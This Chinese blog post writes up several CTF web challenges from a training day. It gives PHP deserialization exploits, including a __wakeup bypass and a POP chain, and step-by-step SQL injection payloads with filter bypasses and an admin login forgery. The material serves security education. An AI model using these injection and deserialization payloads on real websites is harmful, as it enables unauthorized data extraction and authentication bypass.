首页 > 其他分享 >NSSCTF中24网安培训day2中web题目

NSSCTF中24网安培训day2中web题目

时间:2024-07-15 22:55:38浏览次数:15  
标签:24 web admin wllm day2 union flag 3A select

[SWPUCTF 2021 新生赛]ez_unserialize

这道题目考察php反序列化的知识点

打开题目,发现没有提示,我们试着用御剑扫描目录文件,发现存在robots.txt的文件

接着访问这个文件,发现是一段php反序列化代码,我们需要进行序列化的转换

简单的构造exp代码如下,在末尾那里


<?php
  error_reporting(0);
show_source("cl45s.php");

class wllm{

  public $admin;
  public $passwd;

  public function __construct(){
    $this->admin ="user";
    $this->passwd = "123456";
  }

  public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "ctf"){
      include("flag.php");
      echo $flag;
    }else{
      echo $this->admin;
      echo $this->passwd;
      echo "Just a bit more!";
    }
  }
}
$a=new wllm();
$a->admin = "admin";
$a->passwd = "ctf";
$s=serialize($a);
echo $s;
?>

运行即可得到

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

我们再进行paylaod,即可得到flag

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

[SWPUCTF 2021 新生赛]no_wakeup

这道题目考察php反序列化的知识点以及__wakeup函数的绕过

按照提示点击即可获得下面php代码,同样也是要将代码进行序列化转换,但是这道题目出现了__wakeup函数,我们需要进行绕过

我们只需要像上面题目构造exp即可,在末尾那里

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

// $Letmeseesee = $_GET['p'];
// unserialize($Letmeseesee);
$a = new HaHaHa();
$a->admin = admin;
$a->passwd = wllm;
echo serialize($a)

?>

构造完运行可以得到如下

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} 

但是呢,我们如果直接对此进行payload是不可以的,因为还存在着wakeup函数,绕过它非常简单,我们只需要将属性的个数值修改即可,2--->>>3/4/5等等

构造payload如下

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

[SWPUCTF 2021 新生赛]pop 

这道题目依旧考察php反序列化的知识点,但这道题目中出现了toString的魔术引号,我们需要知道它的用法

也就是说我们要了解清楚代码的运行顺序 ,创建输出对象后就会自动调用toString方法

首先观察一下整段代码,再结合上面总结的魔术方法分析一下,w44m类里面的Getflag函数可以用来读取flag,因此就将它作为这条链子的尾部。

再想一下如何去调用这个函数,看下面这段代码。这段代码中,$this->w00m->{$this->w22m}();会调用函数,所以只需要给$w00m赋一个w44m类,然后再给w22m赋一个Getflag就能成功调用该函数。 

再考虑一下如何调用这个w33m类呢??上面写过__toString()这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m这个类里面的echo函数。我们只要给w00m赋一个w33m类,就能调用。

到了这里,析构函数__destruct,会在对象被销毁时调用,所以我们已经摸到这条链子的头了,捋一下这条链子。 

 w22m::__destruct()->w33m::__toString()->w44m::Getflag()

然后我们构造一下exp代码
这里注意,因为admin和passwd是私有类和被保护的类,所以没办法在该类的外部赋值或引用,所以要在类中提前赋值 

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
   
}

class w33m{
    public $w00m;
    public $w22m;
   
}

// $w00m = $_GET['w00m'];
// unserialize($w00m);
$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));

?>

运行成功之后可以得到exp

O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D 

接着构造payload如下:

?w00m=O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D 

[SWPUCTF 2021 新生赛]easy_sql 

这道题目考察sql注入中的联合注入

首先题目地址给出提示参数是wllm,尝试用数字型注入,发现没有正常回显,用单引号注入提示报错语句,从这里可以得知这道题目是字符型的单引号注入,接着用order by判断字段数

?wllm=1' order by 3--+      //当数字为4时,出现报错,可以得知为3个字段数

?wllm=-1' union select 1,2,3--+   //判断回显点,题目出现2和3的提示,说明从2和3中出现回显点

?wllm=-1' union select 1,2,database()--+       //爆出数据库为test_db

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+           //爆出表名test_tb和users

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'--+      //从users表中爆出字段名id,username,password,没有获得我们想要的flag,换张表试试

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'--+    //从test_tb表中获取到flag字段

?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+    //获取flag字段内容

[SWPUCTF 2021 新生赛]sql 

这道题目考察的知识点是sql注入的绕过,空格绕过/**/,注释符绕过%23,等于号=的绕过like,and的绕过,截取函数substr的绕过mid

首先尝试数字型注入,发现没有出现报错界面,试试字符单引号型,发现出现报错语句,此时我们的注释符要替换成url编码形式绕过,以及空格的绕过

?wllm=1'/**/order/**/by/**/3%23               //当数字出现4时报错,说明字段数为3

?wllm=-1'union/**/select/**/1,2,3%23      //题目出现2和3的提示,说明在2和3中出现回显点

?wllm=-1'union/**/select/**/1,2,group_concat(database())%23     //爆出库名test_db

?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like("test_db")%23     //出现表名LTLT_flag和users,猜测flag在LTLT_flag表中

?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like("LTLT_flag")%23

//爆出字段名id和flag,这里绕过了and,因此只从表中获取到字段名

?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23   //这里只能获取到flag的一部分NSSCTF{6bef6596-477a,此时需要用到截取函数截取后面的部分

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/LTLT_flag%23

//可以得到NSSCTF{6bef6596-477a

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/LTLT_flag%23

//可以得到-4360-a43c-252e2f15c

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/LTLT_flag%23

//可以得到70e}

拼接起来可以得到flagNSSCTF{6bef6596-477a-4360-a43c-252e2f15c70e}

[GXYCTF 2019]BabySqli 

这道题目考察POST方式的注入,并且带有过滤,我们同样需要进行绕过

先随便输入用户名和密码,配合Burpsuite抓包可以得到如下:得知为POST注入

1.判断注入点:在name上假设为注入点,尝试用数字型,没有显示报错语句,再试试字符单引号型出现报错语句,得知为字符型单引号的注入

 2.判断注入点:我们通过抓包可以得到

容易得知上面字符为base32加密,我们先进行解密,再得到base64加密字符,再用base64解密可以得到

select * from user where username = '$name' 

可以得知注入点为name,并且为单引号型注入 

POST型注入内容:

name=1' group by 3--+&pw=1            //这里可以得到数字4出现报错,得知有3个字段,并且在这里需要绕过order,用group即可绕过

这里用到弱口令猜测的方法 :猜测username为admin,而密码未知,在表中正常存在id,username,passwd这三个字段,但是我们不知道它们正确的顺序,并且passwd是经过md5加密的

接着我们判断admin在表中的哪个位置

name=-1' union select 'admin',2,3--+&pw=1      //假设在第一个字段,出现wrong user!

name=-1' union select 1,'admin',3--+&pw=1      //假设在第二个字段,出现wrong pass!

name=-1' union select 1,2,'admin'--+&pw=1      //假设在第三个字段,出现wrong user!

可以得知admin在第二个字段,第三个字段就为password

接着我们假设password为123,我们需要让123经过md5加密,再进行注入,如下

name=-1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

这里我们注入完成之后,数据库如下 

 

这道题目需要了解数据库的字段格式,相对于我来说,这道题目也是新的解题方式

 

标签:24,web,admin,wllm,day2,union,flag,3A,select
From: https://blog.csdn.net/2302_78903258/article/details/140437282

相关文章

  • Spark _Exam_ 20240715
    SparkExam20240715ConclusionSB出题人出DP场,T1靠小常数通过不给提示干死选手,T2出题人认为思维难度低代码5KB,NOIP场的T3放黑题,T4又是区间DP\(\mathcalO(n^6)=117649000000\)竟然能够通过?你代码常数真的小!好的喷完了。这种场的后果就是,平均分50,最高90,最低0实际上如......
  • ARDUINO最新pinMode()管脚设置方法(24年7月)
    Arduino管脚配置ESP32Arduino管脚配置测试正常。pinMode()[数字I/O]描述将指定的引脚配置为输入或输出。有关引脚功能的详细信息,请参阅数字引脚部分。可以使用模式INPUT_PULLUP使能内部上拉电阻。此外,INPUT模式明确禁用内部上拉电阻。语法pinMode(pin,mode)参数......
  • .NET周刊【7月第2期 2024-07-14】
    国内文章开源GTKSystem.Windows.Forms框架让C#winform支持跨平台运行https://www.cnblogs.com/easywebfactory/p/18289178GTKSystem.Windows.Forms框架是一种C#winform应用程序跨平台界面开发框架,兼容C#原生控件,无需额外学习,支持跨平台运行。其优势包括开源、与visualstudio......
  • 代码随想录day25 复原IP地址 | 子集 | 子集II
    复原IP地址复原IP地址解题思路首先要判断什么是正确的IP地址:段位以0为开头的数字不合法段位里有非正整数字符不合法段位如果大于255了不合法接着就是要通过一个变量来存储加'.'的次数,然后将字符串分成四分,每段都需要检查是否符合条件。知识点回溯(分割),字符串心得这是......
  • 转型Web3开发第二课:Dapp开发入门基础 | 01 | 安装MetaMask
    前言完成了《转型Web3开发第一课》之后,得到了不少读者的认可,很多都在问什么时候开始下一课,近期终于抽出了时间开始搞起这第二课。这第二课的主题为「Dapp开发入门基础」,即想要转型做Dapp开发的人员,不管是做前端开发、后端开发、智能合约开发,都需要掌握的基础知识。这......
  • [考试记录] 2024.7.15 csp-s模拟赛4
    2024.7.15csp-s模拟赛4T1传送带题面翻译有一个长度为\(n\)的一维网格。网格的第\(i\)个单元格包含字符\(s_i\),是“<”或“>”。当弹球放在其中一个格子上时,它会按照以下规则移动:如果弹球位于第\(i\)个格子上且\(s_i\)为'<',则弹球在下一秒会向左移动一个单元格;如......
  • Python从0到100(四十):Web开发简介-从前端到后端(文末免费送书)
    前言:零基础学Python:Python从0到100最新最全教程。想做这件事情很久了,这次我更新了自己所写过的所有博客,汇集成了Python从0到100,共一百节课,帮助大家一个月时间里从零基础到学习Python基础语法、Python爬虫、Web开发、计算机视觉、机器学习、神经网络以及人工智能相关知......
  • 基于Java+Ssm+Mysql实现的Java Web酒店管理项目系统设计与实现
    一、前言介绍:1.1项目摘要随着信息技术的快速发展和互联网的普及,传统酒店行业面临着转型升级的压力。为了提高酒店的经营管理水平,提升客户体验,酒店管理系统应运而生。酒店管理系统通过整合酒店内部资源,实现信息的快速传递和处理,为酒店提供了高效、便捷的管理手段。课题“......
  • PolarD&N-CTF靶场web通关记录
    新人尝试,还请见谅!!!web简单swp进题先扫dirsearch然后发现了一个叫做/.index.php.swp的备份文件。访问/.index.php.swp这时我们需要post一个名为xdmtql的变量,然后这个变量不能是数组。不能与/sys.nb/is正则匹配。但是结果的sysnb要在第一位。但是结果的sysnb要在第一位。......
  • Codeforces Round #956 (Div. 2) and ByteRace 2024
    目录写在前面ABCDEF写在最后写在前面比赛地址:https://codeforces.com/contest/1983孩子们我回来了。这场实在是太对胃口,vp不到1h就4题了之后EF也口出来了,然而赛时睡大觉去了没打真是亏死。感觉自己的文字能力已经很牛逼了,不需要再多练了,以后的题解都会写得简略些。A......